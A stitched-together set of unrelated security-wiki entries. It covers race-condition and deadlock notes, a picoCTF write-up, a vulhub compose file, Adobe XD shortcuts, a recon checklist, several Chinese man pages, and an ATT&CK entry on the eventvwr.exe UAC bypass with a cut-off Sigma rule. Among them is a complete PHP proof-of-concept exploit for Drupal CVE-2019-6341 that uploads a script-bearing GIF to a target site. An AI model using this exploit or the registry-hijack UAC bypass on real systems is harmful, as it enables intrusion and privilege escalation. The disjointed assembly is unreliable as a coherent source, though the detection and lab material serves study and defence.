可重入函数使用的所有变量都保存在[调用栈](https://zh.wikipedia.org/wiki/%E8%B0%83%E7%94%A8%E6%A0%88)的当前[函数栈](https://zh.wikipedia.org/w/index.php?title=%E5%87%BD%E6%95%B0%E6%A0%88&action=edit&redlink=1)(frame)上。 ### Race Condition防范 如果想要消除条件竞争,那么首要的目标是找到竞争窗口(race windows)。 所谓竞争窗口,就是访问竞争对象的代码段,这给攻击者相应的机会来修改相应的竞争对象。 一般来说,如果我们可以使得冲突的竞争窗口相互排斥,那么就可以消除竞争条件。 ### Race Condition同步原语 一般来说,我们会使用同步原语来消除竞争条件。常见的如下 - 锁变量 - 通常互斥琐,在等待期间放弃CPU,进入idle状态,过一段时间自动尝试。 - 自旋锁(spinlock),在等待期间不放弃CPU,一直尝试。 - 条件变量 - **条件变量是用来等待而不是用来上锁的。条件变量用来自动阻塞一个线程,直到某特殊情况发生为止。通常条件变量和互斥锁同时使用。** - 临界区对象,CRITICAL_SECTION - 信号量(semaphore),控制可访问某个临界区的线程数量,一般比1大。 - 管道,指用于连接一个读进程和一个写进程以实现它们之间通信的一个共享文件。其生存期不超过创建管道的进程的生存期。 - 命名管道,生存期可以与操作系统运行期一样长。 ``` # 创建管道 mkfifo my_pipe # gzip从给定的管道中读取数据,并把数据压缩到out.gz中 gzip -9 -c < my_pipe > out.gz & # 给管道传输数据 cat file > my_pipe ``` ### 死锁概述 当同步原语使用的不恰当的时候,进程就可能会出现死锁。当两个或两个以上的执行流互相阻塞导致都不能继续执行,死锁就会发生。其实,死锁主要是因为在冲突的执行流中,出现了循环等待的执行流,即循环等待中的每一个执行流都获得一个资源,同时试图获得下一个资源。下图所示,P1、P2 两个进程都需要资源才能继续运行。P1 拥有资源 R2、还需要额外资源 R1 才能运行;P2 拥有资源 R1、还需要额外资源 R2 才能运行,两边都在互相等待而没有任何一个可运行。 一般来说,死锁有以下四个必要条件 - 互斥,资源是互斥的。 - 持有和等待,持有已有的资源,同时等待使用下一个资源。 - 不可抢占,进程所获得的资源在未使用完毕之前,资源申请者不能强行地从资源占有者手中夺取资源,而只能由该资源的占有者进程自行释放。 - 循环等待,循环等待资源。 而如果想要消除死锁,也就是打破上面的四个必要条件。 此外,死锁可能来源于以下的原因 - 处理器速度 - 进程或者线程调度算法的变动 - 在执行的过程中,不同内存的限制。 - 任何能够中断程序执行的异步事件。 #### 影响 死锁一般情况下会造成拒绝服务攻击。 ### 死锁静态检测 目前已知的静态检测工具有 - [Flawfinder](http://www.dwheeler.com/flawfinder/) - 目标:C/C++源码 - 步骤 - 建立漏洞数据库 - 进行简单的文本模式匹配,没有任何的数据流或控制流分析 - [ThreadSanitizer](https://github.com/google/sanitizers) - 目标:C++和GO - 实现:LLVM ### 死锁动态检测 参考如下: - [Intel Inspector](https://en.wikipedia.org/wiki/Intel_Inspector) - [Valgrind](https://en.wikipedia.org/wiki/Valgrind)
sec-knowleage
<?php /* usage: php poc.php <target-ip> Date: 1 March 2019 Exploit Author: TrendyTofu Original Discoverer: Sam Thomas Version: <= Drupal 8.6.2 Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4. Tested not wokring on: Drupal running on MacOS with APFS CVE : CVE-2019-6341 Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/ */ $host = $argv[1]; $port = $argv[2]; $pk = "GET /user/register HTTP/1.1\r\n". "Host: ".$host."\r\n". "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n". "Accept-Language: en-US,en;q=0.5\r\n". "Referer: http://".$host."/user/login\r\n". "Connection: close\r\n\r\n"; $fp = fsockopen($host,$port,$e,$err,1); if (!$fp) {die("not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); preg_match('/name="form_build_id" value="(.*)"/', $out, $match); $formid = $match[1]; //var_dump($formid); //echo "form id is:". $formid; //echo $out."\n"; sleep(1); $data = "Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n". "Connection: close\r\n". "\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"mail\"\r\n". "\r\n". "test324@example.com\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"name\"\r\n". "\r\n". "test2345\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n". "Content-Type: image/gif\r\n". "\r\n". "GIF\r\n". "<HTML>\r\n". " <HEAD>\r\n". " <SCRIPT>alert(123);</SCRIPT>\r\n". " </HEAD>\r\n". " <BODY>\r\n". " </BODY>\r\n". "</HTML>\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n". "\r\n". "\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n". "\r\n". "1\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"form_build_id\"\r\n". "\r\n". //"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n". $formid."\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"form_id\"\r\n". "\r\n". "user_register_form\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"contact\"\r\n". "\r\n". "1\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"timezone\"\r\n". "\r\n". "America/New_York\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n". "\r\n". "user_picture_0_upload_button\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n". "\r\n". "Upload\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n". "\r\n". "1\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n". "\r\n". "bartik\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n". "\r\n". "\r\n". "-----------------------------60928216114129559951791388325\r\n". "Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n". "\r\n". "bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n". "-----------------------------60928216114129559951791388325--\r\n"; $pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n". "Host: ".$host."\r\n". "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n". "Accept: application/json, text/javascript, */*; q=0.01\r\n". "Accept-Language: en-US,en;q=0.5\r\n". "X-Requested-With: XMLHttpRequest\r\n". "Referer: http://" .$host. "/user/register\r\n". "Content-Length: ". strlen($data). "\r\n". $data; echo "uploading file, please wait...\n"; for ($i =1; $i <= 2; $i++){ $fp = fsockopen($host,$port,$e,$err,1); if (!$fp) {die("not connected");} fputs($fp,$pk); $out=""; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); // echo "Got ".$i."/2 500 errors\n"; // echo $out."\n"; sleep(1); } echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n"; ?>
sec-knowleage
# Ancient History Category: Web, 10 points ## Description > I must have been sleep hacking or something, I don't remember visiting all of these sites... ## Solution After visiting the attached website we notice that the browser's "back" button has become available. If we push "back" we arrive to a page whose URI ends with `?}`, if we go back again we arrive to `?d` and so on, until we arrive to the first available page whose URI ends with `?p`. So, the flag is hidden in the parameters of the different pages. We can use the following script to collect the different flag characters and reconstruct the flag: ```javascript var flag = ""; (function myLoop(i) { setTimeout(function() { flag += window.location.href.substr(-1); window.history.forward(); if (--i) myLoop(i); }, 500) })(window.history.length); ``` The script needs to run from the browser developer console, while we're at the first page. It simply collects the last character from the URI and continues forward to the next page. Note that due to security limitations, Javascript isn't able to access the history addresses themselves so it can't loop over `window.history` and collect the flag characters from there. The flag: `picoCTF{th4ts_k1nd4_n34t_0b0a1adf}`
sec-knowleage
version: '2' services: web: image: vulhub/ffmpeg:3.2.4-with-php command: php -S 0.0.0.0:8080 -t /var/www/html volumes: - ./www:/var/www/html ports: - "8080:8080"
sec-knowleage
--- title: Adobe XD date: 2022-11-23 16:23:31.703379 background: bg-[#400835] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 97 keyboard shortcuts found in Adobe XD --- Keyboard Shortcuts ------------------ ### Keys for Edit menu Shortcut | Action ---|--- `Ctrl` `Z` | Undo `Ctrl` `Shift` `Z` | Redo `Ctrl` `X` | Cut `Ctrl` `C` | Copy `Ctrl` `V` | Paste `Ctrl` `Alt` `V` | Paste Appearance (Design mode) or Paste Interaction (Prototype mode) `Ctrl` `D` | Duplicate `Del` | Delete `Ctrl` `A` | Select All `Ctrl` `Shift` `A` | Deselect All {.shortcuts} ### Keys for File menu Shortcut | Action ---|--- `Ctrl` `N` | New `Ctrl` `Shift` `O` | Open... `Alt` `F4` | Close `Ctrl` `S` | Save... `Ctrl` `Shift` `S` | Save As... `Ctrl` `Shift` `E` | Export Batch `Ctrl` `E` | Export Selected `Ctrl` `Shift` `I` | Import {.shortcuts} ### Keys for Pen/Path Shortcut | Action ---|--- `P` | Switch to Pen tool `Alt` | Asymmetric control point `Shift` | Snap control point angle `Shift` | Snap anchor point angle `Ctrl` `Alt` `U` | Add `Ctrl` `Alt` `S` | Subtract `Ctrl` `Alt` `I` | Intersect `Ctrl` `Alt` `X` | Exclude overlap `Ctrl` `8` | Convert to path {.shortcuts} ### Keys for Layers (Objects), Groups, and Artboards {.row-span-2} Shortcut | Action ---|--- `Ctrl` `G` | Group layers `Ctrl` `Shift` `G` | Ungroup layers `Ctrl` `K` | Make component `Ctrl` `L` | Lock/Unlock layer `Ctrl` `,` | Hide/Show layer `Ctrl` `Shift` `M` | Mask with shape `Ctrl` `R` | Make repeat grid `1-9` | Change layer opacity `Ctrl` `;` | Show/Hide artboard guides `Ctrl` `Shift` `;` | Lock artboard guides {.shortcuts} ### Keys for Align Shortcut | Action ---|--- `Ctrl` `Shift` `Left` | Left `Shift` `C` | Center (horizontally) `Ctrl` `Shift` `Right` | Right `Ctrl` `Shift` `Up` | Top `Shift` `M` | Middle (vertically) `Ctrl` `Shift` `Down` | Bottom {.shortcuts} ### Keys for Arrange Shortcut | Action ---|--- `Ctrl` `Shift` `]` | Bring to front `Ctrl` `]` | Bring forward `Ctrl` `[` | Send backward `Ctrl` `Shift` `[` | Send to back {.shortcuts} ### Keys for Distribute Shortcut | Action ---|--- `Ctrl` `Shift` `H` | Horizontal `Ctrl` `Shift` `V` | Vertical {.shortcuts} ### Keys for Text Shortcut | Action ---|--- `Ctrl` `B` | Bold `Ctrl` `I` | Italic `Ctrl` `Shift` `.` | Increase font size `Ctrl` `Shift` `,` | Decrease font size {.shortcuts} ### Keys for Operations menu Shortcut | Action ---|--- `Alt` | From center `Shift` | Constrain `Enter` | Edit text `Shift` | Constrain rotate (15 deg) `Shift` | Line constrain rotate (45 deg) `Shift` `Alt` | Constrain from center `Ctrl` | Direct select `Ctrl` `Tab` | Switch between Design and Prototype mode {.shortcuts} ### Keys for Tools menu Shortcut | Action ---|--- `V` | Select `R` | Rectangle `E` | Ellipse `Y` | Polygon `L` | Line `P` | Pen `T` | Text `A` | Artboard `Z` | Zoom `Ctrl` `3` | Zoom to selection `I` | Eyedropper {.shortcuts} ### Keys for Interface and Viewing Options Shortcut | Action ---|--- `Ctrl` `+` | Zoom in `Ctrl` `-` | Zoom out `Ctrl` `0` | Zoom to fit `Ctrl` `1` | Zoom to 100% `Ctrl` `2` | Zoom to 200% `Space` | Pan `Ctrl` `Shift` `Y` | Assets `Ctrl` `Y` | Layers `Ctrl` `Shift` `'` | Show layout grid `Ctrl` `'` | Show square grid `Ctrl` `Tab` | Switch between Design and Prototype mode `Up/Down` | Increase or decrease a value in a field by 1 `Shift` `Up/Down` | Increase or decrease a value in a field by 10 {.shortcuts} ### Keys for Design Specs Shortcut | Action ---|--- `Ctrl` `+/-` | Zoom `Ctrl` `0` | Reset zoom `(arrows)` | Pan `Shift` `(arrows)` | Faster pan `Esc` | Go from Spec view to UX flow view `Esc` | Remove focus from artboard in UX flow view {.shortcuts} ### Keys for Vector Editing Shortcut | Action ---|--- `Enter` | Start editing selected vector object `Esc` | Stop editing selected vector object {.shortcuts} ### Keys for Prototyping Shortcut | Action ---|--- `Ctrl` `A` | See all connections in prototype mode `Ctrl` `Enter` | Preview `Ctrl` `Shift` `E` | Share prototype online `Left/Right` | Navigate artboards in preview or shared prototype {.shortcuts} Also see -------- - [Keyboard shortcuts for Adobe XD](https://helpx.adobe.com/xd/help/keyboard-shortcuts.html) _(helpx.adobe.com)_
sec-knowleage
* ### __Small Scope__ Only Specific URLs are part of Scope. This usually includes staging/dev/testing or single URLs. - [x] Directory Enumeration - [x] Technology Fingerprinting - [x] Port Scanning - [x] Parameter Fuzzing - [x] Wayback History - [x] Known Vulnerabilities - [x] Hardcoded Information in JavaScript - [x] Domain Specific GitHub & Google Dorking - [x] Broken Link Hijacking - [x] Data Breach Analysis - [x] Misconfigured Cloud Storage * ### __Medium Scope__ Usually the scope is wild card scope where all the subdomains are part of scope - [x] Subdomain Enumeration - [x] Subdomain Takeover - [x] Probing & Technology Fingerprinting - [x] Port Scanning - [x] Known Vulnerabilities - [x] Template Based Scanning (Nuclei/Jeales) - [x] Misconfigured Cloud Storage - [x] Broken Link Hijacking - [x] Directory Enumeration - [x] Hardcoded Information in JavaScript - [x] GitHub Reconnaissance - [x] Google Dorking - [x] Data Breach Analysis - [x] Parameter Fuzzing - [x] Internet Search Engine Discovery (Shodan, Censys, Spyse, etc.) - [x] IP Range Enumeration (If in Scope) - [x] Wayback History - [x] Potential Pattern Extraction with GF and automating further for XSS, SSRF, etc. - [x] Heartbleed Scanning - [x] General Security Misconfiguration Scanning * ### __Large Scope__ Everything related to the Organization is a part of Scope. This includes child companies, subdomains or any labelled asset owned by organization. - [x] Tracking & Tracing every possible signatures of the Target Application (Often there might not be any history on Google related to a scope target, but you can still crawl it.) ​ - [x] Subsidiary & Acquisition Enumeration (Depth – Max)​ - [x] Reverse Lookup - [x] ASN & IP Space Enumeration and Service Identification​ - [x] Subdomain Enumeration - [x] Subdomain Takeover - [x] Probing & Technology Fingerprinting - [x] Port Scanning - [x] Known Vulnerabilities - [x] Template Based Scanning (Nuclei/Jeales) - [x] Misconfigured Cloud Storage - [x] Broken Link Hijacking - [x] Directory Enumeration - [x] Hardcoded Information in JavaScript - [x] GitHub Reconnaissance - [x] Google Dorking - [x] Data Breach Analysis - [x] Parameter Fuzzing - [x] Internet Search Engine Discovery (Shodan, Censys, Spyse, etc.) - [x] IP Range Enumeration (If in Scope) - [x] Wayback History - [x] Potential Pattern Extraction with GF and automating further for XSS, SSRF, etc. - [x] Heartbleed Scanning - [x] General Security Misconfiguration Scanning - [x] And any possible Recon Vector (Network/Web) can be applied.​ Source: [Link](https://www.xmind.net/m/hKKexj/)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH EXPAND 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 expand \- 将制表符转换为空格 .SH 概述 \fBexpand\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]... .SH 描述 .\" Add any additional description here .PP 将所列文件中的制表符转换为空格,且输出到标准输出。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .PP 必选参数对长短选项同时适用。 .TP \fB\-i\fP, \fB\-\-initial\fP 不转换非空白符后的制表符 .TP \fB\-t\fP, \fB\-\-tabs\fP=\fI\,数字\/\fP 设置每个制表符为指定数字的宽度,而不是默认的 8 .TP \fB\-t\fP, \fB\-\-tabs\fP=\fI\,列表\/\fP 指定制表符位置列表,用逗号分隔。最后的指定位置可以前缀加上‘/’符号以声明在最后一个明确指定制表符位置的声明之后对应位置的倍数均为制表符。另外,还可以使用‘+’的前缀以声明在最后一个明确指定位置的制表符之后每隔多少的位置间距是一个制表符 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 David MacKenzie 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。 .SH 参见 \fBunexpand\fP(1) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/expand> .br 或者在本地使用: info \(aq(coreutils) expand invocation\(aq
sec-knowleage
'\" '\" Copyright (c) 1998 by Scriptics Corporation. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: encoding.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: encoding.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH encoding 3tcl "8.1" Tcl "Tcl Built-In Commands" .BS .SH NAME encoding \- 操纵编码 .SH "总览 SYNOPSIS" \fBencoding \fIoption\fR ?\fIarg arg ...\fR? .BE .SH "介绍 INTRODUCTION" .PP 在 Tcl 中字符串使用16位的 Unicode 字符来编码。不同的操作系统接口或应用可以生成用其他编码如 Shift-JIS 的字符串。\fBencoding\fR 命令是 Unicode 和其他格式之间的桥梁。 .SH "描述 DESCRIPTION" .PP 依照\fIoption\fR,完成与编码相关一系列操作之一。合法的 \fIoption\fRs有: .TP \fBencoding convertfrom ?\fIencoding\fR? \fIdata\fR 把 \fIdata\fR 从特定的 \fIencoding\fR(编码)转换成 Unicode。在 \fIdata\fR 中的字符被作为二进制数据对待,其中的每个字符的低8位被作为一个单一的字节接受。结果的字节序列被作为一个用特定的 \fIencoding \fR编码的字符串。如果未指定 \fIencoding\fR,使用当前的系统编码。 .TP \fBencoding convertto ?\fIencoding\fR? \fIstring\fR 把 \fIstring\fR 从 Unicode 转换成特定的 \fIencoding\fR编码。结果是表示转换后的字符串的一个字节序列。每个字节都存储在一个 Unicode 字符的低8位中。如果未指定 \fIencoding\fR,使用当前的系统编码。 .TP \fBencoding names\fR 返回包含当前可获得的所有编码的名字的一个列表。 .TP \fBencoding system\fR ?\fIencoding\fR? 设置系统编码为 \fIencoding\fR。如果省略了 \fIencoding\fR,则命令返回当前系统编码。在 Tcl 向系统调用传递字符串时使用系统编码。 .SH 范例 EXAMPLE .PP 一个常见的实践是用产生 euc-jp 编码输出的文本编辑器来写脚本文件,它把 ASCII 字符表示成一个单一的字节而把日文字符表示成两字节。这样通过简单的键入对应于非 ASCII 字符的文字串便可在脚本中某个位置上嵌入它。但是, 由于 \fBsource\fR 命令总是使用 ISO8859-1 编码来读文件,Tcl 将把文件中的每个字节作为一个单独的字符对待并映射成在 Unicode 中的 00 (代码)页(中的字符)。结果的 Tcl 字符串不包含想要的日文字符。转而,它将包含相应与原始的字符串的每个字节的一个Latin-1 字符的序列。\fBencoding\fR 命令将可被用于把这个字符串转换成想要的日文 Unicode 字符。例如, .CS set s [encoding convertfrom euc-jp "\\xA4\\xCF"] .CE 将返回 Unicode 字符串 "\\u306F",它是 Hiragana 字母 HA。 .SH "参见 SEE ALSO" Tcl_GetEncoding(3) .SH "关键字 KEYWORDS" encoding .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/07/08 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
lha === 压缩或解压缩lzh格式文件 ## 补充说明 **lha命令** 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件。 ### 选项 ```shell -a或a:压缩文件,并加入到压缩文件内。 -a<0/1/2>/u</0/1/2> 压缩文件时,采用不同的文件头。 -c或c:压缩文件,重新建构新的压缩文件后,再将其加入。 -d或d:从压缩文件内删除指定的文件。 -<a/c/u>d或<a/c/u>d:压缩文件,然后将其加入,重新建构,更新压缩文件或,删除原始文件,也就是把文件移到压缩文件中。 -e或e:解开压缩文件。 -f或f:强制执行lha命令,在解压时会直接覆盖已有的文件而不加以询问。 -g或g:使用通用的压缩格式,便于解决兼容性的问题。 -<e/x>i或<e/x>i:解开压缩文件时,忽略保存在压缩文件内的文件路径,直接将其解压后存放在现行目录下或是指定的目录中。 -l或l:列出压缩文件的相关信息。 -m或m:此选项的效果和同时指定"-ad"选项相同。 -n或n:不执行指令,仅列出实际执行会进行的动作。 -<a/u>o或<a/u>o:采用lharc兼容格式,将压缩后的文件加入,更新压缩文件。 -p或p:从压缩文件内输出到标准输出设备。 -q或q:不显示指令执行过程。 -t或t:检查备份文件内的每个文件是否正确无误。 -u或u:更换较新的文件到压缩文件内。 -u</0/1/2>或u</0/1/2>:在文件压缩时采用不同的文件头,然后更新到压缩文件内。 -v或v:详细列出压缩文件的相关信息。 -<e/x>w=<目的目录>或<e/x>w=<目的目录>:指定解压缩的目录。 -x或x:解开压缩文件。 -<a/u>z或<a/u>z:不压缩文件,直接把它加入,更新压缩文件。 ``` ### 实例 ```shell lha -a abc.lhz a.b #压缩a.b文件,压缩后生成 abc.lhz 文件 lha -a abc2 /home/hnlinux #压缩目录 lha -xiw=agis abc #解压文件abc,到当前目录 ```
sec-knowleage
# T1548-002-win-绕过用户账户控制-Eventvwr.exe(白名单) ## 来自ATT&CK的描述 攻击者可能会绕过UAC机制来提升系统上的进程权限。 Windows用户帐户控制(UAC)允许程序提升其权限(跟踪为从低到高的完整性级别)以在管理员级别权限下执行任务,可能通过提示用户确认。对用户的影响范围从拒绝高强制执行的操作到允许用户在本地管理员组中执行操作并单击提示或允许他们输入管理员密码以完成操作。 如果计算机的UAC保护级别设置为最高级别以外的任何级别,则某些Windows程序可以提升权限或执行某些提升的组件对象模型对象,而无需通过UAC通知框提示用户。这方面的一个例子是使用Rundll32加载一个特制的DLL,该 DLL加载一个自动提升的组件对象模型对象并在受保护的目录中执行文件操作,这通常需要提升的访问权限。恶意软件也可能被注入到受信任的进程中,以在不提示用户的情况下获得提升的权限。 已经发现了许多绕过UAC的方法。UACME的Github自述文件页面包含大量已发现和实施的方法列表,但可能不是完整的绕过列表。经常发现其他绕过方法,其中一些在野外使用,例如:eventvwr.exe可以自动提升和执行指定的二进制文件或脚本。 如果知道具有管理员权限的帐户的凭据,则可以通过一些横向移动技术进行另一种绕过,因为UAC是一种单一系统安全机制,并且在远程系统上运行的进程的权限或完整性在一个系统上将是未知的,并且默认为高完整性。 ## 测试案例 Eventvwr.exe在GUI窗口中显示Windows事件日志。 路径: ``` - C:\Windows\System32\eventvwr.exe - C:\Windows\SysWOW64\eventvwr.exe ``` 在启动过程中,eventvwr.exe 会检查注册表值HKCU\Software\Classes\mscfile\shell\open\command中mmc.exe的位置,该位置用于打开eventvwr.msc保存的控制台文件。如果将另一个二进制文件或脚本的位置添加到此注册表值,它将作为高完整性进程执行,而不会向用户显示 UAC 提示。 ``` eventvwr.exe ``` 用例:在没有UAC提示的情况下将二进制文件或脚本作为高完整性进程执行。 所需权限: 用户 操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10 ## 检测日志 Windows安全日志 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/规则 这里直接参看Sigma官方规则: ### sigma规则 ```yml title: UAC Bypass via Event Viewer id: 7c81fec3-1c1d-43b0-996a-46753041b1b6 status: experimental description: Detects UAC bypass method using Windows event viewer references: - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100 author: Florian Roth date: 2017/03/19 modified: 2021/09/12 tags: - attack.defense_evasion - attack.privilege_escalation - attack.t1088 # an old one - 